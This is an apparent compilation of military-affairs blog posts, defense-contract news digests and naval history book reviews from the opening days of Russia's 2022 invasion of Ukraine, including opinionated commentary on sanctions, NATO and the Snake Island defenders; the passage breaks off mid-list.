HG S2 (Intel Bot)

Just a quick note today as the paying gig is only letting me pop in and out of my alter ego's life. A friend posted the below from Janes' this AM from behind their paywall. I've had some well informed readers reach out to me after I posted it over on twitter to ask, roughly, "But I keep seeing how the Russians are screwing up the basics of fuel, food, bad comms and chaos." Well, yes - that is all true. I am also sure that this is not going as smooth as the Russian General Staff briefed Putin how things would go. The fact remains though that the Russians are making gains. Slower and uglier than they thought, but they are making gains. The Ukrainians are putting up a plucky fight with what they have, but it is not enough at this point to slow the flow of Russians in to the center of their country. Like a Hawaiian volcano slowly swallowing a house, it is all there to see in the open. As Russians do, they make up for lack in attention to detail with simple mass. There are no off ramps for Putin. As long as he is in power, he will do what he needs to do to achieve his end state. Ukraine and the West did not do what they needed pre-conflict to make this an unattractive effort. Sure, now that the tanks are rolling, the right things are being done, but it is just too late. There were warnings, but no one would listen. In plain sight the Russians showed what they were planning to do - but the decision makers in Kyiv, DC, Brussels, and various European capitals refused to believe what could happen. The West is about a year late in giving the Ukrainians the edge they needed to make the invasion calculus such that the Russians wouldn't give it a go, and if they did, blunt that mass the Russians could throw in to the war. The West's politicians, self-preening in their anti-military, green-Gaia worshiping world views, did not signal strength. The grasping and greedy mercantilists were not done extracting more wealth for themselves and their WEF-Davos-Great-Reset fantasies. The press - wanting to join the political fray and leach off the wealth, did little. The Ukrainians are not blameless. After 2014, efforts were made, but they were and economy of force measure by the Ukrainians and the well meaning nations tried to help ... but it was not enough. The usual suspects in the Western nomenklatura's Smartest People in the Room™ set refused to convince the Ukrainians to get a larger military faster and are to blame more than anyone else. Their world view and concepts of power are poorly rooted in history or practice. Again, it is all clear to see now for those who did not believe before. Instead of elevating the Ukrainian President to build civil society, they invited Greta Thunberg to yell at them. They never appreciated what the Russians COULD do, so the refused to see what they were building up forces TO do. As a result we are here, either on the brink of a war everyone may lose control of, or we will watch a slow, sloppy, and ugly land grab by the Russians that in the end will only encourage more aggression and land grabs - both in Europe and elsewhere. There is an outside chance that a tide might turn towards a happier place, but that is not the smart bet right now. We'll see in a week. As for now via the BBC, there is the Russian Army, in the Kyiv suburbs. Oh, and the economic impact of all this elite failure? Just watch, it's on the way. http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=sV3mkH_rQJQ:lTXrhtnUWSg:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=sV3mkH_rQJQ:lTXrhtnUWSg:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=sV3mkH_rQJQ:lTXrhtnUWSg:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=sV3mkH_rQJQ:lTXrhtnUWSg:F7zBnMyn0Lo View the full article

Reviewed by Diana L. Ahmad, Ph.D. Published twenty years after the death of the author, Franz Kurowski, the book focuses on U-48, the most successful U-Boat in World War 2. During the war, the author served as a Luftwaffe paratrooper with the Afrika Korps. After the war, he worked as a freelance journalist and wrote over one hundred books, including Panzer Aces: German Tank Commanders in World War II. U-48 provides a look into naval operations in World War 2 from the perspective of the Germans prior to the entry of the United States into the conflict. The book gives readers a detailed description of how the commanders of U-48 proved incredibly successful by sinking or damaging fifty-seven vessels (322,500 total gross tonnage) in two years. Kurowski credited the leadership of U-48’s commanders, Herbert Schultze, Hans-Rudolf Rӧsing, and Heinrich Bleichrodt, as well as a few others, including watch officer Reinhard “Teddy” Suhren. While the author describes the officers in charge, he pays little attention to the design of the boat and the advantages or disadvantages that it possessed. Initially, the major flaw in the U-Boats was related to the failure of German torpedoes. While the author notes that the torpedoes often failed, he does not explain how the weapons were re-engineered to make them successful. Further, little is provided to give readers a sense of what it was like aboard U-48. Geared for those who may understand the operations and designs of U-Boats, the book is often filled with numerous details without giving any explanation as to why they are significant. Precisely how the submarine operated, what conditions were like in the ship, and the reactions of the crew to various events are not discussed. In Kurowski’s descriptions of attacks on Allied shipping, U-48 seems only a small part of the battles, but suddenly she became the vessel with the most victories. A lengthier explanation of how that was accomplished would have been helpful to readers. U-48 participated in twelve patrols, but in June 1941, it was decided that she was technologically out of date and she was transferred to a training flotilla in the Baltic Sea, and, finally in May 1945, with the end of the war in sight, she was scuttled. At the beginning of the conflict, Kurowski explained that according to the London Naval Treaty of 1930 it was necessary to send a shot across the bow of a vessel a U-Boat was hoping to sink. That lasted until 1939 when the Germans sank the British liner Athenia, but the author does not provide a clear explanation of when and why the rules of war at sea changed leaving the readers wondering what happened and why the rules changed. The author also does not detail the number of men lost in the battles on either side, what types of cargoes were targeted, and what impact the losses of men and supplies had on either side of the conflict. The book contains numerous photographs yet does not provide maps of the areas of operation that ranged from the North Sea to west of Portugal and Spain. There are few footnotes and only a brief bibliography. Diana L. Ahmad, Ph.D. teaches at the Missouri University of Science and Technology. U-48: The Most Successful U-Boat of the Second World War. By Franz Kurowski. (South Yorkshire, UK: Frontline Books, Imprint of Pen & Sword, Books, 2021). The post U-48: The Most Successful U-Boat of the Second World War first appeared on Naval Historical Foundation. View the full article

Reviewed by Jeff Schultz Dr. Wigand Wüster’s An Artilleryman in Stalingrad: A Soldier’s Story at the Turning Point of World War offers insight into a pivotal World War II campaign through the rarely told artilleryman’s perspective. His frank memoir lacks the self-serving elements common to historical retellings where pride takes precedence and real experiences require at least some embellishment to fit ego-driven narratives. Wüster served prewar and fought from 1939 Poland up to his capture in early 1943, rising to the rank of Oberleutnant (first lieutenant). He spent years in Soviet captivity before his release in late 1949. Postwar, he earned a law degree and worked as a lawyer, passing away in 2017 at ninety-six. The book is divided into seven chapters with five appendices, publisher’s note & acknowledgments, and an index, augmented with many black and white photos. Interestingly, the book also features some of his watercolors which give an additional angle to view his experience in a refreshingly accessible manner. The appendices include several supplementary primary documents which support the main narrative in a complementary fashion, such as the 71st Infantry Division’s war diary for 1942 and related divisional and regimental memoirs. Wüster seeks to chronicle his version of the war as officer and later commander of various artillery batteries of the 71st Infantry Division’s 171st Artillery Regiment, from May 1942 to his eventual capture in January 1943. He does not discuss his experiences in Poland or France, though he mentions France in passing, as idyllic compared to Russia. The 71st gained the nickname of the “cloverleaf” due to 1940 success, it would later serve at Kiev and Kharkov until its destruction at Stalingrad where their collective luck ran out; then reform for service in Italy from 1943-1944. Wüster deals with the topic of the vastness and unpredictable weather on the way to Stalingrad, which featured dusty tracks that turned to muddy ooze in a rainstorm or thaw. The terrain often featured wide flat spaces and river crossings, which were never easy, nor was dealing with the later winter conditions. During this period, he struggled to deal with a callous battalion commander who proved a petty martinet, making Wüster’s life miserable for no apparent reason on multiple occasions. While crossing the Don River in 1942 part of his regiment, 11th Battery, was overrun and suffered heavy casualties while his 10th Battery survived unscathed as a reminder of the randomness of battle and need to be prepared for trouble at a moment’s notice. Later during the Stalingrad fighting, his 2nd Battery managed to sink a harassing Soviet gunboat on the Volga River during a night action using captured enemy field guns. Throughout the memoir he details his struggles with a cruel battalion commander and fights with different artillery batteries, often as a forward observer, until granted leave in November 1942. He returns to Göttingen where the war remains distant and spends time with his sweetheart, Ruth. While away, the Soviet counteroffensive (Operation Uranus) strikes which makes his return a scramble to reach the Stalingrad pocket, as the old Axis flanks collapsed. His insistence on returning seems counterintuitive in hindsight but he considered himself a professional soldier who needed to do his duty. A hair-raising flight to Pitomnik foreshadows the madness that now reigns along the Volga River amid the remains of von Paulus’ now hungry, isolated and crumbling Sixth Army forced to hold their positions. Once connected with his old 2nd Battery of the 171st Artillery Regiment, which sometimes acts as untrained infantry, they hunger and suffer until the fighting ends, bitter cold a constant concern. His recent furlough pays off as he goes into Soviet captivity, as he is fitter than many of his comrades who were on reduced rations well before they capitulated. As a testimony to his personal courage and perseverance, he survives the rigors, brutality, and nihilism of Soviet captivity to reunite with Ruth on 31 December 1949. One of the important themes Wüster highlights is the improvised use of captured equipment and personnel due to the underequipped forces that marched steadily into the Soviet Union which many do not understand or dare to fathom. The employment of civilian tractors and even T-34 tanks as improvised prime movers to replace tired and often worn-out horses is one such example, his unit used as many of them as possible as field-expedient transport to keep moving across the vast distances they were expected to traverse without proper means. German artillery units were largely unmotorized, leaving the infantry divisions, dependent on horses, same as their forebears going back centuries. Ignorance of the heavy reliance on horse transport is one of the big myths of Blitzkrieg and Wüster does an excellent job of reminding of the disparity. Not only the Soviet tractors and tanks as prime movers but also the secondary importance of so-called Hilfswilligen (HiWis), as Soviet auxiliary volunteers, drawn from captured Red Army personnel who sought a better life than starving in the POW camps. Often ignored by historians, they performed important supporting tasks which helped the increasingly stretched German resources against the monolithic Soviet foe with massive Anglo-Allied support, even into the later stages of the Stalingrad fighting and beyond. Wüster’s An Artilleryman in Stalingrad: A Soldier’s Story at the Turning Point of World War II provides a fresh, little-known glimpse into the life of a German artillery officer on the Eastern Front. Wüster’s story, which culminated in the 1942 Stalingrad campaign, follows his deployment in Operation Barbarossa to his capture at Stalingrad to his subsequent internment in the Soviet Union. His objective memoir takes the reader into many of the day-to-day aspects of the war which many will find rewarding, in contrast to the larger stories most know. His attention to detail and the wealth of images and watercolor paintings provide important context to tell this valuable story about one man’s struggle not only with the madness of the Eastern Front but also lessons about leadership, camaraderie, resourcefulness, adaptation, and ongoing challenges experienced in many hierarchical settings. Jeff Schultz teaches at a community college in Pennsylvania. An Artilleryman in Stalingrad: A Soldier’s Story at the Turning Point of World War II (Dr. Wigand Wüster, Stackpole Books, Mechanicsburg, PA, 2021). The post An Artilleryman in Stalingrad: A Soldier’s Story at the Turning Point of World War II first appeared on Naval Historical Foundation. View the full article

Americas Lockheed Martin won a $128.2 million contract modification by the US Air Force for the exercise of an option for hardware spares and the partial exercise of an option for an additional 123 Lot 20 Joint Air-to-Surface Standoff Missile (JASSM) – Extended Range missiles with containers. According to the company, JASSM is a long-range, conventional, air-to-ground, precision standoff missile for the US and allied forces. Designed to destroy high-value, well-defended, fixed and relocatable targets, JASSM’s significant standoff range keeps aircrews well out of danger from hostile air defense systems. Work will take place in Florida and Alabama. Expected completion date is January 30, 2026. The Space Development Agency (SDA) announced the awards of three prototype agreements worth approximately $1.8 billion to establish the foundation for Tranche 1 Transport Layer (T1TL), a mesh network of 126 optically-interconnected space vehicles (SV). The SVs will provide a resilient, low-latency, high-volume data transport communication system, and be ready for launch starting in September 2024. Middle East & Africa Kellogg Brown & Root Services won a $7.7 million contract modification for base operating support at several locations in the United Arab Emirates (UAE). The work to be performed provides for but is not limited to, all management, supervision, tools, materials, supplies, labor and transportation services necessary to perform galley services, laundry services, facility management, emergency service requests, urgent service, routing service, preventive maintenance, inspection, testing and certification, facilities investment, custodial, pest control service, integrated solid waste, grounds maintenance, wastewater, and base support vehicles, at Jebel Ali, Fujairah, Sas Al Nahkl and Al Minhad, United Arab Emirates. Work will take place in the UAE. Expected completion date is February 28, 2023. Europe The Italian Ministry of Defense’s Aeronautical Armaments and Airworthiness Directorate (DAAA) recently approved a contract for the technical-logistical support of the Air Force’s C-130J Super Hercules airlifter fleet. The agreement, which lasts five years and is worth a total of €380 million, was signed on January 28, 2022, between the Italian Air Force and the Temporary Business Grouping (RTI) formed by Leonardo, Avio Aero and Lockheed Martin Aeronautics. Finland will send weapons and ammunition to Ukraine, Prime Minister Sanna Marin said on Monday. This marks a shift in policy. The shipment will include 2,500 assault rifles, 150,000 bullets, 1,500 anti-tank weapons and 70,000 food packages, Defense Minister Antti Kaikkonen said. A cruise missile strike at the largest square of Europe, Freedom Square in Kharkiv leading to dozens of victims should be counted as a war crime said Ukrainian President Volodymyr Zelenskyy. “The cruise missile that struck Kharkiv, fired from the Russian city of Belgorod is terror against the city. There was no military target on the square. Just as in those residential areas of Kharkiv hit by rocket artillery. The rocket aimed at the central square is an outright, undisguised terror,” the president said in a statement posted on the Ukrainian MoD’s website. Asia-Pacific An anonymous defense official from India told The Hindu that Paris and New Delhi are close to concluding an agreement to develop the engine for the Advanced Medium Combat Aircraft (AMCA). Defense Research and Development Organisation (DRDO) and French engine maker Safran will work together to develop the 125KN engine. Meanwhile, Girish S. Deodhare, Director General of the Aeronautical Development Agency (ADA), says design configuration of the AMCA has been frozen. Today’s Video WATCH: Italy Signs €380M Technical Logistical Support Contact for C-130J Fleet! View the full article

Events in the Second Russo-Ukrainian War (or whatever it is being called, this is what I call it with the 1st being in 2014), are moving fast. It seems anything you write will be OBE in a few hours, but write one must. Case in point; going in to the weekend Germany was stuck in, "We are pausing NS2..." and we find our way to Monday where she is giving the nod for artillery, fighter jets, anti-aircraft, and anti-armor weapons to Ukraine as fast as they can get there and announcing an unprecedented increase in defense spending. So, today let's focus on something that isn't quite as sexy as air superiority or logistics convoys, but may be the most important news of the day; financial sanctions. Let's go back to Chris Morris at the BBC five days ago; Notably only about 16% of Russia's foreign exchange is now actually held in dollars, down from 40% five years ago. About 13% is now held in Chinese renminbi. All of this is designed to protect Russia as much as possible from American-led sanctions. Over time it has reduced its reliance on foreign loans and investments, and has been actively seeking new trade opportunities away from Western markets. China is a big part of that strategy. The government in Moscow has also taken initial steps to create its own system of international payments, in case it gets cut off from Swift - a global financial messaging service which is overseen by the major Western central banks. And it has been cutting the size of its budget - prioritising stability over growth. That has meant the Russian economy has grown at an average of less than 1% a year over the past decade. But it may have become more self-reliant in the process. ... There's no question that sanctions can have an impact, but a package as broad as this has never been imposed on an economy as large as Russia. And to make it effective, the West would have to be in it for the long haul. This was all theory last week, now we come to a very different reality this last day of February...and Russia gets a vote. We can't assume she won't react. Also from the BBC, as of this AM US Eastern time; Western nations are imposing increasingly severe sanctions on Russia following its invasion of Ukraine. The measures are designed to cripple Russia's economy and punish its government for taking military action. As you read the above and what is to follow, there is a word as old as war that should come to mind; blockade. There are benchmarks about how nations can interpret blockades, and this is but one example in living memory; A casus belli played a prominent role during the Six-Day War of 1967. The Israeli government had a short list of casūs bellorum, acts that it would consider provocations justifying armed retaliation. The most important was a blockade of the Straits of Tiran leading into Eilat, Israel's only port to the Red Sea, through which Israel received much of its oil. After several border incidents between Israel and Egypt's allies Syria and Jordan, Egypt expelled UNEF peacekeepers from the Sinai Peninsula, established a military presence at Sharm el-Sheikh, and announced a blockade of the straits, prompting Israel to cite its casus belli in opening hostilities against Egypt. We can't forget this from the edge of living memory either; In 1939 the United States terminated the 1911 commercial treaty with Japan. “On July 2, 1940, Roosevelt signed the Export Control Act, authorizing the President to license or prohibit the export of essential defense materials.” Under this authority, “[o]n July 31, exports of aviation motor fuels and lubricants and No. 1 heavy melting iron and steel scrap were restricted.” Next, in a move aimed at Japan, Roosevelt slapped an embargo, effective October 16, “on all exports of scrap iron and steel to destinations other than Britain and the nations of the Western Hemisphere.” Finally, on July 26, 1941, Roosevelt “froze Japanese assets in the United States, thus bringing commercial relations between the nations to an effective end. One week later Roosevelt embargoed the export of such grades of oil as still were in commercial flow to Japan.” The British and the Dutch followed suit, embargoing exports to Japan from their colonies in southeast Asia. In today's global financial system that unlike the last world war where nations held physical assets like gold that could be loaded on cruisers as payment, much of nations' "wealth" is stuck in the cyber-world's 1s and 0s. They are among the toughest measures nations can use, short of going to war. As we go down this route - even with the Swiss of all people - we need to be clear-headed about how this can be seen by the Russians. The action is aimed at cutting Russia off from the international financial system and to "harm their ability to operate globally".A ban from Swift will delay the payments Russia gets for exports of oil and gas. Cutting off a nation from its access to funds not just to fight but to feed, house, and employ its people - if we now consider "cyber" to be a domain like land, sea, and air - is keeping a nation from accessing resources in the cyber domain - AKA a blockade - any different than a ground, sea, or air blockade with the same goal? Western leaders have agreed to freeze the assets of Russia's central bank, to limit its ability to access its $630bn international dollar reserves. ... Targeting a central bank of a G20 nation is unprecedented and designed to "push the whole of Russia in to as deep a recession as possible, with the added chaos of bank runs", says BBC economics editor Faisal Islam. ... The UK, EU, US and other countries have announced curbs on products that can be sent to Russia. These include dual-use goods, which are items that could have both a civilian and military use, like high-tech items, chemicals or lasers. Are Russian "elite" motivated by the same things Western "elites" are? That seems to be the bet; The EU, UK, US and Canada have launched a transatlantic task force to identify and freeze the assets of sanctioned individuals and companies, targeting more "officials and elites close to the Russian government, as well as their families".Maybe...but maybe not. Either way, we have to expect some blowback - directly or indirectly; Russia supplies 26% of the EU's crude oil and 38% of its gas. Even a brief cut in gas supply would raise energy prices. ... Russia's foreign ministry has threatened sanctions of its own against the West. This may include reducing or shutting off gas supplies to Europe. ... Hitting the Russian banking sector is likely to damage firms which do business in Russia, or have assets in its banks, and the export ban on high-tech goods will hit many Western manufacturers. There is an important thread from Georgetown political scientist Professor Abraham Newman that you need to read in full on the topic. Here are a few consolidated pull quotes from his thread; In a world of interdependent fiat currencies central banks have to live in a world where they depend on foreign buys and holders of their money. What does this mean and how does it relate to the sanctions regime? As the @FT explains, much of the reserves are held in securities i.e. assets that need to be sold to be used. To do that, Russian central bank needs intermediaries to conduct the transactions. Most international banks are now a no go so hard to sell. But the other problem is that the Russian Central Bank doesnt actually sit on the money it has. The money is in accounts in other central banks/international bodies. Russia has to access these ledgers to use its funds. Western sanctions black this. Aside from their gold reserves, the Russian self-insurance strategy is comprised of made up stuff which lives in a financial imaginary. Their ability to use and access is interdependent on the West. Russia, then, is confronting the reality of what @henryfarrell and I have termed Weaponized Interdependence. And the consequences for the Russian economy are going to be quite severe. As I've stated before, I cannot think like a Russian - much less Putin - so I won't even try, but I can look at their capabilities, history, and what they could do. Let me put on my red hat. If I were RUS COMCYBERCOM, I would have three Courses of Action of increasing severity ready to present President Putin today to take down the entire Western financial system. It would be along the historically established, "If I can't use this, then I am damn sure going to guarantee that no one else can either." You want a cyber world war? That is how you get one. Shut down the global online financial system. What do the Russians have to lose? I hoped some smart people have wargamed this out. Again, if we are blockading, with the EU & Switzerland, Russian access to her money that they need to not just fight, but to feed and employ the people of Russia, is it beyond reason to consider that a belligerent act - especially when we are arming and giving aid to the Ukrainians? We have invaded other nations for less. Things are moving fast - and Putin has no off ramp outside complete victory. Good luck everyone. http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=C28I1OYRAys:htKsS2twjA4:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=C28I1OYRAys:htKsS2twjA4:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=C28I1OYRAys:htKsS2twjA4:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=C28I1OYRAys:htKsS2twjA4:F7zBnMyn0Lo View the full article

Americas The US Air Force has selected Leidos Inc. to develop a $26 million prototype advanced high power microwave (HPM) weapon system to counter drones. “The new prototype will be called Mjölnir, the mythical Norse God Thor’s mighty hammer,” said Adrian Lucero, THOR program manager at AFRL’s Directed Energy Directorate at Kirtland AFB, New Mexico. “Because THOR was so successful, we wanted to keep the new system’s name in the family.” Mjölnir is based on technology from the Tactical High-Power Operational Responder (THOR) program but with significant improvement in capabilities, reliability, and manufacturing capabilities. Leidos will deliver the prototype next year. General Atomics Aeronautical Systems, Inc. (GA-ASI) used an Avenger Unmanned Aircraft System and five hardware-in-the-loop synthetic Avengers to autonomously search and follow an artificially-generated adversary. The live-virtual swarm utilized a simulated Infrared Search and Track (IRST) sensor network in addition to the government-furnished CODE autonomy engine to accomplish the mission. Middle East & Africa The US Navy’s Mideast-based 5th Fleet last week announced the launch of a new joint fleet of unmanned drones with allied nations to patrol vast swaths of the region’s volatile waters as tensions simmer with Iran. Vice Adm. Brad Cooper, who leads the 5th Fleet, told The Associated Press that 100 unmanned drones, both sailing and submersible, would dramatically multiply the surveillance capacities of the U.S. Navy Europe Ukraine reported the destruction of the Antonov An-225 Mriya airlifter on February 27, with the Minister of Foreign Affairs Dmytro Kuleba saying that the largest aircraft in the world was destroyed in a Russian strike on Hostomel Airport (also known as Antonov International Airport) on the northwestern outskirts of Kyiv. European Commission President Ursula von der Leyen announced that the European Union will ban Russian state-run media outlets from airing in the EU, as well as bar Russian aircraft from flying in EU airspace. Asia-Pacific Zenetex LLC won an $8 million contract modification, which exercises an option to provide contractor support services for the MH-60R Multi Mission Helicopter for the government of Australia. The MH-60R Seahawk is a multi-mission helicopter manufactured by Sikorsky Aircraft. It is considered to be the world’s most advanced maritime helicopter. The first low-rate initial production (LRIP) helicopters were remanufactured SH-60Bs, but the following MH-60Rs are all newbuilds. Work will take place in Patuxent River, Maryland, and is expected to be completed in March 2023. The Royal Australian Air Force has awarded Lockheed Martin a contract worth $49 Million to provide Long-Range Anti-Ship Missile integration and test effort for the formers F/A-18 E/F aircraft. This order provides Long-Range Anti-Ship Missile integration and test effort for the Royal Australian Air Force F/A-18 E/F aircraft for the government of Australia. In February of 2020, the United States had approved Australia’s request to purchase 200 AGM-158C Long Range Anti-Ship Missiles (LRASMs) for its F-18 Super Hornet fighters in a contact estimated to be worth $990 million. Australia intends to use the missiles on its F-18 aircraft to provide enhanced capabilities in defense of critical sea-lanes. Today’s Video WATCH: EU ups the ante with Russia; closes airspace, bans media View the full article

From the Sea of Azov to the Danube Delta, the maritime component of the Russian invasion of Ukraine's is bringing to the front universal constants; treaties, neutral shipping, amphibious operations, blockades, choke points, sea lines of communication, and an expanded environment where conflict can expand in unexpected ways. While much of the focus has been ashore, significant developments - and lessons - can be found in the developments in the Black Sea. That will be the focus on today's Midrats with a panel discussion with Claude Berube, Chris Cavas, and Sal Mercogliano. Dr Claude Berube has taught at the US Naval Academy since 2005 and has worked for two US Senators. He is a Commander in the Navy Reserve. His latest book is “On Wide Seas: The US Navy in the Jacksonian Era” and his third novel, “The Philippine Pact” will be released this fall. Chris Cavas is a long-time naval journalist who has reported on navies and maritime issues in the United States and around the world. He’s also the co-host of the weekly CavasShips podcast focusing on naval matters. Dr. Sal Mercogliano is a Maritime Historian at Campbell University. A former merchant mariner and Host of the What's Going On With Shipping YouTube Channel. Join us live if you can, but it not, you can get the show later by subscribing to the podcast. If you use iTunes, you can add Midrats to your podcast list simply by clicking the iTunes button at the main showpage - or you can just click here. You can find us on almost all your most popular podcast aggregators as well. http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=tWmLqi-Kf5Y:zHiQdHpi354:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=tWmLqi-Kf5Y:zHiQdHpi354:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=tWmLqi-Kf5Y:zHiQdHpi354:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=tWmLqi-Kf5Y:zHiQdHpi354:F7zBnMyn0Lo View the full article

Americas Oshkosh Defense won an $11.6 million contract modification for regional field service representatives to support fielding of the Joint Light Tactical Vehicle. The Oshkosh Defense Joint Light Tactical Vehicle (JLTV) is designed for never-before-achieved speed, power and protected mobility outside the wire. Work will take place in Wisconsin. Estimated completion date is February 28, 2023. The US Air Force has initiated the process of retiring its JSTARS fleet with the first production aircraft delivered #92-3289 being sent to retirement at Davis-Monthan Air Force Base. The jet left Robins Air Force Base on February 11. Middle East & Africa The Turkish Navy’s Preveze (Type 209/1400)-class diesel electric submarine (SSK) mid-life upgrade (MLU) programme has achieved a new milestone with the successful completion of the critical design phase. Turkey’s Presidency of Defense Industries (SSB) approved the critical design phase following the successful completion of sea acceptance trials of the inertial navigation system, salinity-depth-density measurement and cold-water systems, and static inverters in mid-February, according to an announcement by Turkish company STM. Europe Germany and Netherlands announced over the weekend that they will be supplying anti-tank weapons and FIM-92 anti-aircraft missiles to Ukraine. German Chancellor Olaf Scholz announced that 1,000 anti-tank weapons and 500 FIM-92s will be transferred. Dutch government said in letters to parliament that 200 FIM-92s and 50 recoilless rifles with 400 warheads will be shipped to Ukraine. The European Union will finance the purchase and delivery of weapons, in a show of support for Ukraine against Russia’s invasion, European Commission President Ursula von der Leyen said Sunday. Von der Leyen said the EU’s decision to finance arms purchases was “a watershed moment.” The EU traces its roots to post-World War II peace efforts and began as an economic alliance. Asia-Pacific The Chinese People’s Liberation Army-Navy (PLA-N) has revealed a new utility landing craft that can carry armored vehicles and troops, and complement air cushioned landing craft in large landing missions. The revelation comes amidst hightened rhetoric in Chinese media circles of an impending invasion of Taiwan following Russia’s invasion of Ukraine. Today’s Video WATCH: Germany to send weapons to Ukraine in policy reversal • FRANCE 24 English View the full article

As with all conflicts, just a few days in to the Second Russo-Ukraine War you have stories that start to break out in to the public. Some seem like rumor, urban legends, propaganda, or just embellishments of real stories or hopeful desires. Two have come up over the last few days. One that seems closer to the urban legend and hopeful desires area is the heroic fighter pilot, "The Ghost of Kyiv," putting up an amazing fight against all odds in his plucky MiG-29. The second seems to be from the same area but with time we have found is actually a true story. 13 Ukrainian border guards were stationed in an isolated, barren and what would appear to be generally ignorable island off their southwest coast on the Black Sea. These were not the elite of their nation. They were not special forces. They weren’t even regular army. They were border guards guarding a small rock far isolated from the front lines. Then one beautiful winter day, over the horizon comes a Russian warship. Wow. It seems the Ukrainian soldiers on Snake Island really did tell Russian warships to "go to hell" before they were killed. @unian pic.twitter.com/lRrXQDk3xQ — Alec Luhn (@ASLuhn) February 25, 2022 What is their duty? What do they do? What would you do? In a spirit Americans should fully understand from The Alamo to Bastogne, they had a simple answer. Audio from Snake Island, Black Sea: Russians: This is a Russian warship. I propose you lay down arms and surrender to avoid bloodshed & unnecessary victims. Otherwise, you’ll be bombed. Ukrainians: Russian warship, go *** yourself. They were all killed https://t.co/uNqh5b9L8C — Christopher Miller (@ChristopherJM) February 24, 2022 The Russian Navy had their response. Ukrainian soldier deployed on Snake Island live streamed the moment a Russian warship opened fire on the Island. 13 soldiers died in the attack. pic.twitter.com/FDe92rYYVR — C O U P S U R E (@COUPSURE) February 24, 2022 Truth is often more inspiring than fiction. Ukraine's State Border Guard Service confirmed guards had been attacked by Russian ships that fired on the island. A Russian Defense Ministry spokesman said on Friday that Russia had taken control of the island. "Eighty-two Ukrainian soldiers in Zmiinyi Island area lay down their arms and capitulated to Russian soldiers," the Russian spokesman said, according to the Reuters news agency. "Now they must sign a statement that they refuse to participate in military actions. Soon they will be returned to their families." Ukrainian President Volodymyr Zelensky commended the group of guards who were killed during a late-night address to the nation on Thursday, as he reported that 137 people were killed during the first day of Russia's invasion. "Defending the Zmiinyi Island, all our border guards died a heroic death. But they have not surrendered," Zelensky said, adding that the servicemembers killed would be posthumously honored as heroes of Ukraine. "Let those who gave their lives for Ukraine be remembered forever." Fullbore gentlemen. Fullbore. A question to the Front Porch here. I pride myself in my RECCE skills, but for the life of me I cannot identify this ship class. The stack aft is throwing me out as is the livery and bow shape. Any idea? http://feeds.feedburner.com/~ff/blogspot/FAFV?d=yIl2AUoC8zA http://feeds.feedburner.com/~ff/blogspot/FAFV?d=qj6IDK7rITs http://feeds.feedburner.com/~ff/blogspot/FAFV?i=tkE9T2MELKI:-rz4yW6vAMQ:gIN9vFwOqvQ http://feeds.feedburner.com/~ff/blogspot/FAFV?i=tkE9T2MELKI:-rz4yW6vAMQ:-BTjWOF_DHI http://feeds.feedburner.com/~ff/blogspot/FAFV?i=tkE9T2MELKI:-rz4yW6vAMQ:V_sGLiPBpWU http://feeds.feedburner.com/~ff/blogspot/FAFV?i=tkE9T2MELKI:-rz4yW6vAMQ:F7zBnMyn0Lo View the full article

It appears that the Ukrainian Ambassador to the UN was correct last night – the Russians have declared war on Ukraine. As we are still inside the first 12-hrs of the invasion, there is a lot we simply do not know, but things are clear that this will not be a focused invasion simply to secure all the territory of the breakaway parts of eastern Ukraine. No, this is something much larger. There is a lot of bad and confusing OSNIT going on, but one thing is clear, northwest of the capital Kyiv, Russian airmobile forces coming from Belorussia have seized and are attempting to maintain control of Hostomel and the Antonov International Airport (GML) there. That is a clear signal they are planning to take Kiev and the entire country. The Ukrainian city of Hostomel, near Kyiv, is under attack by more than Russian 20 attack helicopter. The helicopters will be in danger of Stinger missiles delivered by the Baltic states and Grom missiles delivered by Poland, showing the importance of foreign military aid. pic.twitter.com/ZdY58QW5lu — Visegrád 24 🇨🇿🇭🇺🇵🇱🇸🇰 (@visegrad24) February 24, 2022 Now the question is how well the Ukrainians will hold up under the assault. That will determine if this will be a short or a long war. To speculate more than that right now would be silly – there simply is not enough in open source to get a firm picture. There are a few things I am willing to put on the table this AM. 1. The remaining delusions about the post-Cold War security arrangements in Europe should be firmly buried. History is back and she has her Festivus pole front and center. She has some issues with us, and we’re going to hear about it. 2. NATO has a German problem. While all the “right people” will not shut up about how wonderful former Chancellor Angela Merkle was, people need to be very clear eyed about what a complete disaster she and the German political class have been over the last two decades. They have starved what should be continental European NATO’s most potent military into irrelevance. Her disastrous feel-good, ethno-masochistic immigration policy weakened European cohesion and fed the worst parts of European political subcultures. Yes, she made a lot of well meaning Germans feel good about themselves, but it was a sugar-high that rotted the teeth and poisoned the national metabolism. While willing to defend Europe to the last Pole and Germany to the last American, she decided to preen in her neo-pagan EuroGreen superiority onomastic politics by ditching clean nuclear power and through the complete corruption of her elite, shacked herself to Russian energy oligarchs and thus the Kremlin. Germany needs to fix herself, and NATO needs to work around her and punish her until she starts to behave like a constructive 21st Century security partner. 3. As our friend Jerry Hendrix pointed out yesterday, the moral leaders in NATO right now are the Baltic Republics and I would add Visegrad nations. You can throw Romania in there too. France will go hot and cold as she fights her desire to do the right thing for European security while at the same time nurse her 1,000 year old drive to be the premier leader of Western Europe. Serious but weaker nations will lean on a reluctant USA and limited United Kingdom … simply because - to be frank - much of the rest of the alliance is not that capable. 4. In line with #1 above, it is time for Finland at least, and probably Sweden, to join NATO. They both have a long and bloody history with the Russians and should see clearly what time it is. 5. Ukraine waited too long 